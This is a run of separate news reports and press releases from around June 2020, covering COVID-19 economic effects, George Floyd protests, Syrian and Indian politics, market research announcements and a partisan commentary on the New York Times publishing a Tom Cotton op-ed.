The company intends to use the funds to expand its business reach and bring its product to additional industries.

Founded in 2018, Bryter provides a no-code platform enabling experts to automate decision-making. The toolbox enables professionals to build, manage and sell interactive applications, without the need for programming skills. The company serves consulting firms, banks, corporates, and public administration across the globe to digitize and scale their services. Customers include ING, PwC, Deloitte, Baker McKenzie, and Taylor Wessing.

Bryter has offices in Berlin, Frankfurt, and London.

FinSMEs

05/06/2020
In anticipation of an assault by regime backed forces, Turkey has spoken to residents who are in the firing line reports Nadaa Syria.

On Tuesday, a Turkish officer met with a number of civilians in rural southern Idlebs Jabal al-Zawiya to inform them of military developments and the Turkish armys role in the fighting should Russian militias launch an attack on the area.

According to a local source who spoke with Nadaa Syria, the meeting took place at the Turkish military point located in the town of Ahsam in Jabal al-Zawiya, and included officials in charge of the point as well as a delegation of local residents.

The Turkish officer promised residents that they would engage in combat with Russian militias represented by the Assad regime, should fighting break out in Jabal al-Zawiya.

The Turkish army called on residents to take precautionary measures, as the commander had observed a military buildup of Russian militias in Maaret al-Numan and Kafranbel in rural southern Idleb.

The National Liberation Front on Tuesday declared the eastern sector of Jabal al-Zawiya a military zone in order to protect civilians, as the area has faced repeated artillery bombing and shelling.

The Turkish army is deployed across Jabal al-Zawiya at a number of military points set up recently. The most important is located on the peak of al-Nabi Ayoub. Turkish forces have also recently fortified their positions in Idleb governorate in general, with air defense systems, armored vehicles and tanks.

This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
Harpreet Bajwa By

Express News Service

CHANDIGARH: Tik Tok star Sonali Phogat who is also a Bharatiya Janata Party (BJP) leader landed herself in yet another controversy as she was seen beating up an official with her slippers on Friday. The video went viral putting the BJP government in Haryana in an embarrassing situation.

Phogat thrashed and abused Sultan Singh, the market committee secretary, during a visit to the Balsamand Mandi in Hisar on Friday. She had a heated exchange of words with Singh after farmers allegedly complained that there were problems in the procurement process. "Am I working to hear abuses from people like you? Do I not have the right to a dignified life, says Phogat in the video in which she is seen hitting Singh. Afterwards he was seen pleading with her, saying he had noted her complaints and would resolve the issues.

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     ? pic.twitter.com/2K1aHbFo5l  Randeep Singh Surjewala (@rssurjewala) June 5, 2020

Singh later filed a complaint with the police in which he stated that Phogat visited his office in Hisar and asked him to be present at the Balsamand Mandi. When she reached the mandi, she spoke to him for about fifteen minutes during which she asked when the procurement for gram will start and was told that due to lack of arrangements at the mandi, it has not started yet. Then she abused him and accused him of not helping her in the assembly elections from Adampur before starting to thrash him, he said.

Phogat said she thrashed Singh after he used indecent and derogatory remarks directed at her, adding that he later apologised. "Along with a few farmers, I visited Balsamand mandi to inspect the arrangements for gram procurement. Singh told me that I should not roam around with farmers in the mandi as I am a charming lady. On hearing this, I got angry so I thrashed him. He then apologised. But I have filed a complaint against him, Phogat said.

A police officer said they have received complaints from both Phogat against Singh and Singh against Phogat. "We are verifying the facts and then action will be taken as per law," he said.

Demanding that Chief Minister Manohar Lal Khattar take action against Phogat, Congress spokesman Randeep Singh Surjewala said, "These acts (have been) done by a BJP leader. Is it a crime to do a government job? Will (chief minister Manohar Lal) Khattar take action against Phogat?

Phogat had contested the assembly elections from Adampur last year and lost to Kuldeep Bishnoi of the Congress. Not new to controversies, she had last year filed a police complaint against her sister and brother-in-law alleging that they assaulted and threatened her.
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Retailers still face another big challenge to manage in the jobs market  but the picture at least grew a little bit brighter last month.

Apart from the safety concerns of the coronavirus and the vexing issue of institutional racism  brought to the fore by the killing of George Floyd at the hands of police  stores are trying to beckon consumers back with unemployment still at levels not seen in generations.

But there was some reason for hope in the Labor Departments report on May employment, issued Friday morning. The unemployment rate improved to 13.3 percent last month, down from 14.7 percent in April, but way up on the 4.4 percent in March, when COVID-19 sent much of the nation home in the interest of social distancing.

Last month, retailers added back 368,000 jobs after cutting headcount by 2.3 million in April.

Apparel and accessories specialty stores added back 94,800 workers, boosting the sectors workforce to 594,900, but still well below the 1.3 million seen a year earlier. Department stores added back 47,100 positions to employ 849,100, down from the 1.1 million a year earlier.

Across the U.S. economy, 2.5 million jobs were added back, promising  but still a small portion of the 20.5 million positions that were cut in April.

Although some jobs are starting to come back as more businesses tentatively open their doors, many companies are also cutting back for good. The bankrupt J.C. Penney Co. Inc. said it planned to start store closing sales at 154 locations this month. Neiman Marcus Group, J. Crew Group, Stage Stores Inc. and Centric Brands are all also winding their way through the Chapter 11 process, which New York & Co. parent RTW Retailwinds Inc. acknowledged this week could be its path forward as well.

Employment is seen as the single biggest factor underlying consumer spending, so a return to Great Depression unemployment levels, even for a short while, could have a devastating effect on fashion. Already, sentiment is at a low. The Conference Board said last month that its Consumer Confidence Index stood at 86.6  a reading that was more or less on par with April, but well below the 130.7 seen in February.

Story continues

Already the industry is in turmoil  orders have been cut, supply chains are working at reduced capacity, many stores are open just with curbside pickup, fashion shows are a big question mark and more.

And the economic fallout is seen as lingering as the world sorts out its priorities anew.

This week, the nonpartisan Congressional Budget Office cut its 10-year economic projection, declaring that the nations economic output would be $15.7 trillion less over this decade than it forecast just before the COVID-19 crisis hit in earnest.

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As Scott recounted this morning, Tom Cotton entered the publics consciousness in 2006 when Power Line published a letter he wrote that the New York Times had rejected. The letter attacked two Times reporters who had undermined U.S. anti-terrorism efforts by writing about a highly classified terrorist finance tracking program.

Tom had a strong personal stake. The men he was leading on patrols through the streets of Baghdad were exposed to attack by terrorists whose funding the U.S. was trying to halt.

In the intervening fourteen years, Cotton has become a U.S. Senator and an important national figure. He no longer relies on letters to the editor, or on Power Line, to make his views known to the reading public. Indeed, the Times itself has published his op-eds.

This week, as we noted at the time, it published a Cotton op-ed advocating invocation of the Insurrection Act of 1807 to protect communities from nihilist criminals. But, in response to whining from some of its staff, the Times is criticizing its decision to run the piece.

After initially defending publication, the Times now claims the op-ed did not meet our standards. The op-ed was the result of a rushed editorial process, the paper adds.

But James Dao, the Times deputy editorial page editor, says that several editors saw the op-ed before it was published  including one on the masthead: me. Dao also says the op-ed was fact-checked. Thus, claims about a rushed editorial process and failure to meet standards are rubbish.

Dao gets to the heart of the matter when he states he is sorry that the op-ed had this kind of impact on my colleagues. This, then, is the Times new standard for op-eds: They must not offend lefty staff members.

Nikole Hannah-Jones of the Times is one of the offended. She tweeted: As a black woman, as a journalist, as an American, I am deeply ashamed that we ran this.

The irony here is difficult to understate. Hannah-Jones put together the Times 1619 project. Unlike Cottons op-ed, which withstood a fact check, Hannah-Joness rewrite of American history did not.

Hannah-Jones asked Leslie Harris, a historian of African-American life and slavery, to review her claim that preserving slavery was a critical reason why the colonists declared their independence from Great Britain. Harris says he vigorously disputed this assertion. Hannah-Jones presented it anyway. It has subsequently been attacked by one prominent historian after another.

The Times should be deeply ashamed that it ran Hannah-Joness hugely distorted account of our history.

Commenting on the dispute over Cottons piece, the Washington Post sniffed:

The Cotton op-ed made several questionable assertions, such as that leftwing radicals, like antifa, [have] infiltrated marches, and that some elites have condoned vandalism and looting. Cotton didnt identify any individual making such statements, nor offer any support that antifa  a vaguely defined group of radicals  had instigated violence.

Actually, Cotton did identify an individual who condoned violence. He linked to a piece that quoted Chris Cuomo saying that protesters dont need to be peaceful because this is not a tranquil time.

Apparently, none of the three Post reporters who wrote the story bothered to click on Cottons link. Maybe the Post needed four reporters.

There is also support for Cottons statement that Antifa has instigated violence. Attorney General Barr and FBI Director Wray both say the government has evidence of this.

As noted, the Times fact checked Cottons op-ed before publication. The op-ed passed, and should have done. The same cannot be said for the Posts account of this matter.
(Alliance News) - International Consolidated Airlines Group SA is considering mounting legal action against the UK government over its planned 14-day quarantine for all new arrivals, Sky News reported on Friday.

Willie Walsh, chief executive of British Airways owner IAG, told Sky News that he is reviewing the matter with lawyers.

Walsh told the broadcaster: "We think it is irrational, we think it is disproportionate and we are giving consideration to a legal challenge to this legislation."

https://news.sky.com/story/iag-chief-calls-for-unions-to-engage-so-british-airways-can-have-a-future-12000804

Home Secretary Priti Patel on Wednesday defended the plans, which require most people arriving in the UK to quarantine for 14 days.

The government is under pressure after being warned that the measures - which are due to come into force on Monday - will cause huge damage to the travel sector, already beleaguered due to the coronavirus outbreak.

IAG shares were 11% higher at 319.25 pence each in London on Friday morning.

By Eric Cunha; ericcunha@alliancenews.com

Copyright 2020 Alliance News Limited. All Rights Reserved.
NEW YORK, June 5, 2020 /PRNewswire/ -- The Global Preimplantation Genetic Testing Market is expected to grow from USD 418.13 Million in 2018 to USD 946.13 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 12.37%.







Read the full report: https://www.reportlinker.com/p05871267/?utm_source=PRN







The positioning of the Global Preimplantation Genetic Testing Market vendors in FPNV Positioning Matrix are determined by Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) and placed into four quadrants (F: Forefront, P: Pathfinders, N: Niche, and V: Vital).



The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Preimplantation Genetic Testing Market including are ABBott Laboratories, Agilent Technologies, Inc., Oxford Gene Technology, Perkinelmer, Inc., Thermo Fisher Scientific Inc., Beijing Genomics Institute, Combimatrix Corporation, Emerson Electric Co., Invicta Genetics, and Progenesis.



On the basis of Technology, the Global Preimplantation Genetic Testing Market is studied across Comparative Genomic Hybridization, Fluorescence in Situ Hybridization, Next-Generation Sequencing, Polymerase Chain Reaction, and Single-Nucleotide Polymorphism.



On the basis of Offering, the Global Preimplantation Genetic Testing Market is studied across Instruments Services, Reagents and Consumables, and Software and Services.



On the basis of Procedure Type, the Global Preimplantation Genetic Testing Market is studied across Preimplantation Genetic Diagnosis Off-Line Procedure Type and Preimplantation Genetic Screening.



On the basis of Application , the Global Preimplantation Genetic Testing Market is studied across Aneuploidy, Gender Identification, HLA Typing, Single Gene Disorders, Structural Chromosomal Abnormalities, and X-Linked Disorders.



On the basis of End User , the Global Preimplantation Genetic Testing Market is studied across Contract Research and Manufacturing Organizations, Hospitals, Diagnostic Labs, and Service Providers, and Research Laboratories & Academic Institutes.



For the detailed coverage of the study, the market has been geographically divided into the Americas, Asia-Pacific, and Europe, Middle East & Africa. The report provides details of qualitative and quantitative insights about the major countries in the region and taps the major regional developments in detail.



In the report, we have covered two proprietary models, the FPNV Positioning Matrix and Competitive Strategic Window. The FPNV Positioning Matrix analyses the competitive market place for the players in terms of product satisfaction and business strategy they adopt to sustain in the market. The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisitions strategies, geography expansion, research & development, new product introduction strategies to execute further business expansion and growth.



Research Methodology:

Our market forecasting is based on a market model derived from market connectivity, dynamics, and identified influential factors around which assumptions about the market are made. These assumptions are enlightened by fact-bases, put by primary and secondary research instruments, regressive analysis and an extensive connect with industry people. Market forecasting derived from in-depth understanding attained from future market spending patterns provides quantified insight to support your decision-making process. The interview is recorded, and the information gathered in put on the drawing board with the information collected through secondary research.



The report provides insights on the following pointers:

1. Market Penetration: Provides comprehensive information on sulfuric acid offered by the key players in the Global Preimplantation Genetic Testing Market

2. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments in the Global Preimplantation Genetic Testing Market

3. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets for the Global Preimplantation Genetic Testing Market

4. Market Diversification: Provides detailed information about new products launches, untapped geographies, recent developments, and investments in the Global Preimplantation Genetic Testing Market

5. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players in the Global Preimplantation Genetic Testing Market



The report answers questions such as:

1. What is the market size of Preimplantation Genetic Testing market in the Global?

2. What are the factors that affect the growth in the Global Preimplantation Genetic Testing Market over the forecast period?

3. What is the competitive position in the Global Preimplantation Genetic Testing Market?

4. Which are the best product areas to be invested in over the forecast period in the Global Preimplantation Genetic Testing Market?

5. What are the opportunities in the Global Preimplantation Genetic Testing Market?

6. What are the modes of entering the Global Preimplantation Genetic Testing Market?



Read the full report: https://www.reportlinker.com/p05871267/?utm_source=PRN



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ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



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Several local organizations made up of black people are calling on Winnipeggers to call out racist violence here, as well as across the border.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

Several local organizations made up of black people are calling on Winnipeggers to call out racist violence here, as well as across the border.

The African Communities of Manitoba Inc., the Black History Month Celebration Committee, Black Space Winnipeg, the Congress of Black Women of Manitoba and the Caribbean Council Organization of Manitoba called a media conference to discuss police violence against black people across the continent.

"As we continue to see the ongoing oppression and violence that is inflicted on black people internationally, we grow wearier and more restless for honest change in our communities," ACOMI president Titi Tijani said Thursday afternoon.

If people are not listening by us talking softly, then were going to shout." Nadia Thompson

A peaceful rally has been scheduled Friday to protest the death of George Floyd, who was killed during an arrest on Minneapolis street last week, setting off protests and violent demonstrations across the United States.

Speakers at Thursday's media event also referenced officer-involved deaths in Winnipeg and Toronto as examples of tragedies "fuelled by bigotry, racial profiling and systemic racism."

Darnella Frazier / The Associated Press Files In a frame from video provided by Darnella Frazier, a Minneapolis officer kneels on the neck of George Floyd, a handcuffed man who was pleading that he could not breathe.

The groups called for discussion and support to continue beyond Friday's rally.

"It is not brand-new. George Floyd is not the first individual to fall victim," said BHMCC board member Rhonda Thompson. "So we just want to know, are you willing to come on board with us?"

Participants said there needs to be more open channels between black communities and police, and that community groups should be at the table when new policies are drafted at all levels of government.

"We need to be more involved in the decision-making, the policies and procedures, the action plan and how they deal with officers who do not follow the standards and the policies and procedures put forward by the police services," BHMCC chair Nadia Thompson said.

"This also goes beyond the police we are looking at working with all levels of government to change," Tijani added.

Funding for support services for black people in Manitoba needs to more fully cover the scope of community members needs as well, they said.

We cannot say anything has changed to make things positive, and if it has its not moving fast enough, because people are still dying. Nadia Thompson

"We can no longer be sustained through the volunteer model. We need to be able to have funding in place, so we are able to have resources in place, so that individuals within our community have a way to get help," Rhonda Thompson said. "We are not looking for handouts, what we are looking for is a hand up."

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The level of support needs to move past just one day and just one event, because without institutional changes, tragedies will only continue, Nadia Thompson said.

"If people are not listening by us talking softly, then were going to shout; this is 400 years  this is not today, this is not last week (that) we have been going through incidents," she said.

"We cannot say anything has changed to make things positive, and if it has its not moving fast enough, because people are still dying."

malak.abas@freepress.mb.ca

Twitter: malakabas_
At a police brutality protest attended by thousands in Manhattan this week, a young black man couldn't help but make an observation  the size and scale of the protests following George Floyd's death would not be possible had it not been for the once-in-a-lifetime global health and economic crises.

"I think there's a bunch of people here that are obviously for this cause," the man, who gave his name as Adio, told NBC News. "But I think ultimately, we've been locked in our apartments for so long that now we have something to unite us that is actually uplifting...We've all needed a reason to step outside our house, and this is it."

With roughly 40 million people out of work in the U.S, and schools and activities shut down with a preceding three months that for many meant near total lockdown of their lives in New York City and elsewhere, the protests have been able to gain incredible momentum, especially among young people.

Image: TOPSHOT-US-POLITICS-RACE-UNREST (Eric Baradat / AFP - Getty Images)

"Young people I think sometimes feel like they can just limit their activism to social media and thats enough, said Kenny Moore, 21, a student from Maryland, protesting in Washington, D.C. on Tuesday. "But now it's like there's no excuse cause we're all at home."

Other young protesters expressed similar sentiment.

"It's been weird being out of school," said Christiana Laguerre, a college student at Towson University in Maryland. "Everyone's at home and honestly it feels really good to just be around people again. We all have more time on our hands and really don't have an excuse to not show up."

Alondra Pacheco, 20 and unemployed, said, "Everyone is at home with not much to do. It's like the perfect storm."

A "perfect storm" was similarly how New York City Mayor Bill de Blasio, a Democrat, described the confluence of crises that have helped widen the peaceful protests and, in his city and elsewhere, contributed to some degree to rioting and looting. While some officials have pinned vandalism and violence on extremist groups at both ends of the political spectrum, others said they believe some of it is driven by thrill-seeking young people who finally have an outlet as the weather improves and virus fears subside.

Story continues

"We have not seen a situation like this," de Blasio said of what he described as "a horrible perfect storm we're living through" at press conference earlier this week. "And it's literally because of very particular dynamics that have come together."

As New York Gov. Andrew Cuomo, a Democrat, told MSNBC on Monday: "There are forces coming together here, let's be honest."

"It's not a coincidence that this is in the middle of the COVID crisis," Cuomo continued. "The poor paid the highest price for this COVID situation."

Lynn Bufka, the associate executive director for practice research and policy at the American Psychological Association, told NBC News that while there is no current research linking the intersection of the multiple crises, she has anecdotal evidence that "young people in particular are struggling, despite general familiarity and comfort with technology in this generation that many had presumed would help them stay connected while distancing."

"To gather in protest means to gather with others who share your grief, your anger, your fear, your frustration, your demand for change," she said. "That can be incredibly uplifting and restorative and psychologically and emotionally healing."

The virus itself has wreaked havoc on black and brown communities, both on the health and economic side. The latest data from the Bureau of Labor Statistics showed that fewer than half of black workers were employed in April.

As Georgetown Law professor Lawrence Gostin, an expert in public health law, told NBC News, the pandemic "has exacerbated protests against racial injustice nationwide."

"George Floyd's death was the spark, but the COVID-19 epidemic is at the foundation of today's grievances," Gostin said. "COVID-19 has shined a spotlight on racial injustice in America in the most profound ways. The COVID-19 epidemic has caused tens of thousands of preventable deaths in the African American community. Racial inequalities in health have been with us for decades, but COVID-19 has amplified the inequities."

Image: US-HEALTH-VIRUS (Bryan R. Smith / AFP - Getty Images file)

Elwood Watson, a professor of history and African American studies at East Tennessee State University, said the pandemic has "tremendously" affected the demonstrations, pointing to its outsized impact on communities of color.

As states remain at an early or mid stage of their reopening processes, much attention has been paid to the demonstrations, with videos of law enforcement crackdowns as well as images and pushback to rioting going viral. A Monmouth University poll released this week asked respondents if they think "racial and ethnic discrimination in the U.S. is a problem or not a problem?"

In January 2015, when the polling outlet first asked the question as the Black Lives Matter movement gained traction, 51 percent said that was a "big problem." This week, that number spiked to 76 percent after the nation was exposed to the Floyd video and the all-encompassing attention given to the subsequent demonstrations.

"This time it's different," Sen. Marco Rubio, R-Fla., tweeted Thursday.

On the other hand, officials have worried about whether the protests will lead to a resurgence in the virus after spending months to keep it curtailed. Fears over the further spread of the novel coronavirus have been drowned out in the protests, as Rep. Eleanor Holmes Norton, D-D.C., expressed concern over to NBC News.

Holmes Norton said the confluence of the coronavirus and the economic collapse has fueled a "new energy" from young people in protesting longstanding issues between police and the communities they serve, and the Floyd video has proven too severe for many to ignore.

Image: Protests Against Police Brutality Over Death Of George Floyd Continue In NYC (Spencer Platt / Getty Images)

Of looting and vandalism, Holmes Norton said that while "we almost always see some looting in such situations like this," it's exacerbated now by young people being out of work.

"So there's some inherent vandalism in a situation of this kind," she said. "But I think it's driven even more by the fact that people have not only been at home, they've been at home out of work."

At Tuesday's protest in the nation's capitol, Ashley Waite, a 22-year-old hairstylist from Miami, told NBC News that she returned home to be with her family when her hair salon shut down. She's "feeling the energy" of the demonstrations, which she said would not be going on in this way had people not been stuck at home for months.

"I follow a lot of my customers and coworkers and stuff on Instagram," she said, "and I see them all out doing stuff, too, and I'm not sure that would've been the case if we all didn't have this time on our hands."

Allan Smith reported from New York and Lauren Egan reported from Washington.
Credit: CC0 Public Domain

The study, led by the University of York and Hull York Medical School, found that girls and year 11 pupils are particularly affected, with emotional problems such as anxiety and low mood on the rise.

More investment in mental health services in schools is needed to develop more targeted and accessible support for children most at risk of experiencing difficulties, the authors of the study say.

Marked increase

In one of the largest studies for 20 years, the researchers collected questionnaire data on mental health and well-being from more than 6,300 secondary school pupils from 21 different schools in the North of England.

They found that 15% of 12-16 year-olds are experiencing high or very high levels of mental health difficultiesa marked increase from 1999, when a study found that just 11% of secondary school children were experiencing any kind of mental health issues.

Of the girls who took part in the current study, 21% reported experiencing emotional difficulties, compared with only 6% of boys. 10% of year 11 pupils described themselves as feeling "very worried, sad or unhappy".

Today's pressures

The findings are likely to be representative of the picture of mental health for school children across the country, the researchers say.

Lead author of the study, Professor Barry Wright from the department of Health Sciences at the University of York and Hull York Medical School, said: "Our study confirms that secondary school children in the North of Englandand likely across the countryare struggling with their mental health more than ever before.

"Today's young people face many pressures, from the 'academic excellence' expected of them at school, to poverty exacerbated by austerity and social pressures. Further research is needed, but factors like these may be contributing to the increase in mental health difficulties we observed."

Social media

The study also found that a large percentage of school children (46%) feel that social media has a positive effect on their mood overall, while only 6% feel it has a negative effect.

Professor Wright added: "While many recent studies have linked high social media use to online harassment, poor sleep and self-esteem problems, it is important to recognise and explore how social media can be used in both positive and negative ways for young people."

According to the study, a high proportion of pupils are now accessing mental health support through their school, with one quarter of the students who completed the questionnaire reporting that they had used at least one school based service.

This finding supports Government plans to focus resources on improving the support available in school settings, the authors of the study say.

Explore further Poor mental health both cause and effect of school exclusion

More information: Barry Wright et al. A large population-based study of the mental health and wellbeing of children and young people in the North of England, Clinical Child Psychology and Psychiatry (2020). Barry Wright et al. A large population-based study of the mental health and wellbeing of children and young people in the North of England,(2020). DOI: 10.1177/1359104520925873
New Delhi, June 5 : The Supreme Court said on Friday that it is considering to grant 15 days to the state governments and the Centre to transport all the stranded migrant workers to their respective native places.

A bench comprising Justices Ashok Bhushan, S.K. Kaul and M.R. Shah, while conducting a hearing on the problems faced by the migrant workers, told the counsels of the state governments that it is considering to grant 15 days to transport all the migrant workers to their home states.

Solicitor General Tushar Mehta informed the top court that till date, more than 4,000 Shramik Special trains have been deployed to transport migrant workers. The counsels from various state governments appeared before the apex court and submitted their respective plans on the transportation of the migrant workers.

Additional Solicitor General Sanjay Jain, appearing for Delhi government, said that around 2 lakh workers are still in the national capital, most of whom are not willing to go back.

"Only a small number of workers, less than 10,000, are expressing their desire to go back," said Jain.

Senior advocate P.S. Narasimha, appearing for Uttar Pradesh, said that at no point of time the state has charged from the labourers. Instead, it is the obligation of the state to send back the migrants and 104 special trains were organised to send back around 1.35 lakh people.

He added that from Delhi borders, 5,50,000 labourers were brought back to Uttar Pradesh and as many as 21.69 lakh workers have been brought back to the state in special trains.

-- The story has been published from a wire feed without any modifications to the text
[June 05, 2020] Impact of COVID-19 on the Taiwanese Gift Card and Incentive Card Market - Q2 2020 Update - ResearchAndMarkets.com

The "Taiwan Gift Card and Incentive Card Market Intelligence and Future Growth Dynamics (Databook) - Market Size and Forecast (2015-2024) - Covid-19 Update Q2 2020" report has been added to ResearchAndMarkets.com's offering. This report details the impact of economic slowdown along with change in business and consumer sentiment due to disruption caused by COVID-19 outbreak on gift card industry in Taiwan. Historically, the gift card market in Taiwan has recorded a steady growth with a CAGR of 11.7% during 2015-2019. However, according to the Q2 2020 Global Gift Card Survey, gift card market in Taiwan is expected to be impacted across retail and corporate segments due to disruption caused by COVID-19 outbreak. Though growth of gift card industry will be impacted due to pandemic, there are certain segments such as self-use which will gain significant market share. Adoption of e-Gift cards is also expected to increase significantly over the next 4-6 quarters. There are interesting trends emerging across various segments, which are expected to fundamentally reshape gift card industry dynamics. Despite near-term challenges, medium to long term growth story of gift cards in Taiwan remains strong. The gift card industry in Taiwan will continue to grow over the forecast period and is expected to record a CAGR of 9.7% during 2020-2024. The gift card market in the country will increase from US$ 1,859.4 million in 2019 to reach US$ 2,844.4 million by 2024. This report provides a detailed data centric analysis of gift cards and corporate incentive cards market along with consumer behaviour and retail spend dynamics in Taiwan. With over 200 KPIs at country level, this report provides comprehensive understanding of gift and incentive card market dynamics. The report includes raw data along with structured dashboards, charts, and tables in an interactive Excel format. Below is a summary of country level trend analyses covered across gift card segments: Total gift market: This report provides detailed view f overall spend on gifts, broken down by retail and consumer segments. For both retail and consumer segments, this report provides a breakdown of spend on gifts by product categories (13 segments) and retail sectors (7 segments).

Gift cards: Drawing from proprietary survey results, this report provides in-depth analysis of opportunities in both open loop and closed loop prepaid gift card categories. Assesses consumer behaviour by type of consumer (retail and corporate - SMB, Mid-Tier, Large Enterprise), gifting occasion, digital gift card (e-gift card), and market share by retail sectors.

Details six essential KPIs: number of cards in circulation, load value, unused value, average purchase value, average value per transaction, and value of transactions.

Corporate incentive & loyalty cards: This report provides detailed market dynamics of corporate incentive cards, broadly segmented in three categories - consumer incentive card, employee incentive card, and sales/partner incentive card. It details market size and forecast at category level, by functional attribute (open loop and closed loop), and by corporate consumer segments (small scale business, mid-size business, and enterprise business).

Digital gift card (e-gift card) analysis: Provides market size and forecast for digital gift cards, broken down by retail and corporate buyers. It also includes gift card spend by occasion (retail - festivals & special celebration days, milestone celebration, self-use, other; Corporate incentive cards -consumer incentive card, employee incentive card, and sales/partner incentive card). The report also includes digital gift card adoption by company size.

Open loop and closed loop: Provides market estimates and forecasts to assess opportunities in open loop and closed loop gift and incentive card segments across consumer segments.

Consumer attitude and behaviour: Drawing from proprietary survey results, this report identifies and interprets key KPIs related to gift card dynamics including spend by age, gender, and income level.

Retail spend: Breaks down retail spend across retail sectors (7 segments) to provide detailed insights on consumer behaviour and changing dynamics of gift card spend.

Market share by retailer: Provides market share of closed loop gift cards by key retailers in Taiwan.

Distribution channel analysis: Provides market share by distribution channel - online vs offline sales and 1st party vs 3rd party sales (sales through outlet of other retailers).



Key Topics Covered 1 Taiwan Total Gift Spend Analyzer

2 Taiwan Retail Consumer Gift Spend Analyzer 3 Taiwan Corporate Consumer Gift Spend Analyzer 4 Taiwan Gift Card Spend Analyzer 5 Taiwan Digital Gift Card Spend Analyzer 6 Taiwan Gift Card Spend Analysis by City Type 7 Taiwan Gift Card Spend Share by Demographics and Purchase Behaviour 8 Taiwan Retail Consumer Gift Card Spend Analyzer 9 Taiwan Retail Consumer Gift Card Spend Analysis by Functional Attribute 10 Taiwan Retail Consumer Gift Card Spend Analysis by Occasion 11 Taiwan Corporate Consumer Gift Card Spend Analyzer 12 Taiwan Corporate Consumer Gift Card Spend Analysis by Functional Attribute 13 Taiwan Corporate Consumer Gift Card Spend Analysis by Occasion 14 Taiwan Corporate Consumer Gift Card Spend Analysis by Company Size 15 Taiwan Corporate Consumer Gift Card Spend Analysis by Company Size x Functional Attribute 16 Taiwan Gift Card Spend Analysis by Distribution Channel 17 Taiwan Gift Card Spend Analysis by Retail Sector 18 Taiwan Retail Consumer Gift Card Spend Analysis by Retail Sector 19 Taiwan Corporate Consumer Gift Card Spend Analysis by Retail Sector 20 Taiwan Closed Loop Gift Card Market Share Analysis by Top Retailers For more information about this report visit https://www.researchandmarkets.com/r/omf30q View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005383/en/

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Michigan lawmakers want to loosen restrictions on who is able to possess a medical marijuana business license to now include the spouses of government employees.

The current rules, created within the 2016 Medical Marijuana Facilities Licensing Act, forbid the spouse of any government employee or elected official from being issued a medical marijuana business license by the state Marijuana Regulatory Agency.

We dont comment on pending legislation, Marijuana Regulatory Agency spokesman David Harns said when posed questions about the bill.

House Bill 5700, which passed the House, 229-100, on June 3, is sponsored by state Rep. Julie Alexander, R-Hanover.

Alexander said she was prompted to work on the legislation after hearing from a 10-year Michigan Department of Health and Human Services caseworker named Ashley, who lives in Jackson County.

Ashley -- her last name wasnt disclosed -- married a man who had a couple medical marijuana business licenses, one for a dispensary and the other for a processing facility.

He was updating some paperwork and was asked about his marital status and honestly answered that he was now married and she was a state employee, Alexander said. "When they heard from the (Marijuana Regulatory Agency) was that they either needed to divorce or she needed to quit her job.

" ... She said that this is happening to a lot of people."

The Marijuana Regulatory Agency said there have been no revocations or license denials on these grounds.

An original version of the bill would have also allowed spouses of elected officials to possess a medical marijuana business license, but the clause was removed.

Robin Schneider, director of the Michigan Cannabis Industry Association, which represents nearly 200 licensed marijuana businesses, said her group isnt opposed to the change, so long as conflicts of interest arent created.

License applicants would still be required to disclose whether their spouse is a government employee, but it wouldnt disqualify the applicant unless the Marijuana Regulatory Agency believed the relationship presented a conflict.

While questioning Alexander about the legislation during a House Judiciary Committee session on May 13, committee vice-chair David LaGrand, D-Grand Rapids, said he was struck by the very broad morals portion of the law. The laws framework was based, in part, on strict guidelines within the Michigan Gaming Control and Revenue Act, which regulates casinos.

LaGrand asked Alexander if she was considering clawing backward some of the restrictions based on prior criminal records, which he said seem overly broad and inconsequential as to whether the license holder can safely provide legal marijuana.

The medical marijuana licensing law bars anyone with a controlled substance-related felony conviction within the last 10 years or anyone with a controlled substance, theft or fraud-related misdemeanor within the last five years from possessing a license.

Related: A marijuana conviction could be a good thing

The medical marijuana licensing law is contradictory to some efforts by the state in regard to the recreational marijuana industry, which includes a social equity program intended to assist anyone whos been previously convicted of a marijuana-related crime.

Alexander said she hasnt considered any other changes to the law.

The bill now goes before the Senate, where it would need to pass and be signed by Gov. Gretchen Whitmer to become law.

-- Gus Burns is the marijuana beat reporter for MLive. Contact him with questions, tips or comments at fburns@mlive.com or follow him on Twitter, @GusBurns.

More from MLive:

Michigan marijuana industry changed, but thriving amid COVID-19

A prior marijuana conviction could be a good thing

Confusion over marijuana business in Detroit leads to lawsuits

Michigan recreational marijuana sales near $6.5 million

Recreational market poised to boom in 2020

Michigan wants Weedmaps to stop advertising for unlicensed marijuana businesses

Michigan not collecting personal information on customers

Industry insider critiques recreational marijuana rollout

Detroit stalls recreational marijuana
Theres no official word about any iPhone delay yet, but Bloomberg reports that Broadcom CEO Hock Tans comments on a quarterly earnings call lend credence to their earlier rumor that the new device will launch a few weeks later than usual. New mainstream iPhones traditionally appear in September (as shown above during last years launch event), but moving the new mobile devices appearance back would have a noticeable impact on the financial results of companies involved.

About eight minutes into the call Tan said an unnamed large North American mobile phone customer  a reference to Apple  would normally contribute a double digit uplift in revenue, but now they are not expecting to see this uptick in revenue until our fourth fiscal quarter. In response to a question he said were in, on the new device, but noted the only question about the launch is the possible timing.

As Bloomberg points out, the global coronavirus pandemic has caused logistical delays with lockdowns and disrupted travel, as well as causing employees to work from home. Given the current environment all scheduled events are suddenly up in the air and this is just a relatively minor one.
Source: Xinhua| 2020-06-05 22:46:05|Editor: huaxia

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MANILA, June 5 (Xinhua) -- Budget airline AirAsia Philippines on Friday announced its plan to layoff 12 percent of its workforce due to the travel restrictions triggered by the COVID-19 pandemic.

